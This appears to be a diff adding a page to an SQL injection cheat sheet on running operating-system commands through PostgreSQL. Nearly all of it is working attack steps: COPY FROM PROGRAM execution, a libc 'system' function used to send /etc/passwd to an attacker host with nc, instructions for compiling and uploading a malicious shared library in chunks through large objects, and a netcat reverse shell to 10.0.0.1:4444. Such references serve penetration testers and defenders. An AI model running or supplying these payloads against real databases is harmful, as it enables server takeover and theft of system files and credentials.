|
| 1 | +<h3 id="executing-os-commands-through-sql-server">Executing OS Commands Through PostgreSQL</h3> |
| 2 | + |
| 3 | +<p class="pageDescription">{{site.data.injectionDescriptions.executingOSCommands}}</p> |
| 4 | + |
| 5 | +<table class="table table-striped table-hover"> |
| 6 | + <thead> |
| 7 | + <tr> |
| 8 | + <th>Name</th> |
| 9 | + <th>Query</th> |
| 10 | + </tr> |
| 11 | + </thead> |
| 12 | + <tbody> |
| 13 | + <tr > |
| 14 | + <td valign="top"> |
| 15 | + <br><br> |
| 16 | + FROM PROGRAM |
| 17 | + </td> |
| 18 | + <td valign="top"> |
| 19 | + <br><br> |
| 20 | + DROP TABLE IF EXISTS myoutput;<br> |
| 21 | + CREATE TABLE myoutput(filename text);<br> |
| 22 | + COPY myoutput FROM PROGRAM 'ps aux';<br> |
| 23 | + SELECT * FROM myoutput ORDER BY filename ASC;<br> |
| 24 | + </td> |
| 25 | + </tr> |
| 26 | + <tr> |
| 27 | + <td valign="top"> |
| 28 | + <br><br> |
| 29 | + Create PostgreSQL Function Mapped <br> |
| 30 | + to Libc System Method |
| 31 | + </td> |
| 32 | + <td valign="top"> |
| 33 | + <br><br> |
| 34 | + CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;<br> |
| 35 | + SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');<br> |
| 36 | + <br> |
| 37 | + Notes: |
| 38 | + <br> |
| 39 | + This method works with PostgreSQL 8.1 and below. After version 9, you'll have to upload your own library with the "PG_MODULE_MAGIC" set.<br> |
| 40 | + The process for this is outlined at https://www.dionach.com/blog/postgresql-9x-remote-command-execution, below is a summary. |
| 41 | + <br><br> |
| 42 | + |
| 43 | + 1. To get the version from the PostgreSQL server use the query below. |
| 44 | + <br><br> |
| 45 | + SELECT version(); |
| 46 | + <br><br> |
| 47 | + |
| 48 | + 2. To compile the library, a Linux machine with the same version of PostgreSQL as the target machine is required. Below is an example showing how to install PostgreSQL. |
| 49 | + <br><br> |
| 50 | + apt install postgresql postgresql-server-dev-9.6 |
| 51 | + <br><br> |
| 52 | + |
| 53 | + 3. Download pgexec file from https://github.com/Dionach/pgexec/tree/master. |
| 54 | + <br><br> |
| 55 | + |
| 56 | + 4. Compile pgexec with the command below. |
| 57 | + <br><br> |
| 58 | + gcc -I$(/usr/local/pgsql/bin/pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c<br> |
| 59 | + <br> |
| 60 | + |
| 61 | + 5. Upload the library to the target system. First split the file into pieces. |
| 62 | + <br><br> |
| 63 | + split -b 2048 pg_exec.so |
| 64 | + <br><br> |
| 65 | + |
| 66 | + 6. The file can then be written to disk through PostgreSQL using the commands below. |
| 67 | + <br><br> |
| 68 | + SELECT lo_creat(-1);<br> |
| 69 | + set c0 `base64 -w 0 xaa`<br> |
| 70 | + INSERT INTO pg_largeobject (loid, pageno, data) values (16388, 0, decode(:'c0', 'base64'));<br> |
| 71 | + |
| 72 | + <br> |
| 73 | + Then repeat for each piece of the file. |
| 74 | + <br><br> |
| 75 | + 7. Create the function. |
| 76 | + <br><br> |
| 77 | + CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE 'c' STRICT; |
| 78 | + <br><br> |
| 79 | + 8. Send a reverse shell to your system. |
| 80 | + <br><br> |
| 81 | + SELECT sys('nc -e /bin/sh 10.0.0.1 4444'); |
| 82 | + <Br><Br> |
| 83 | + |
| 84 | + Source: https://www.dionach.com/blog/postgresql-9x-remote-command-execution |
| 85 | + </td> |
| 86 | + </tr> |
| 87 | + </tbody> |
| 88 | +</table> |
| 89 | + |
| 90 | + |
0 commit comments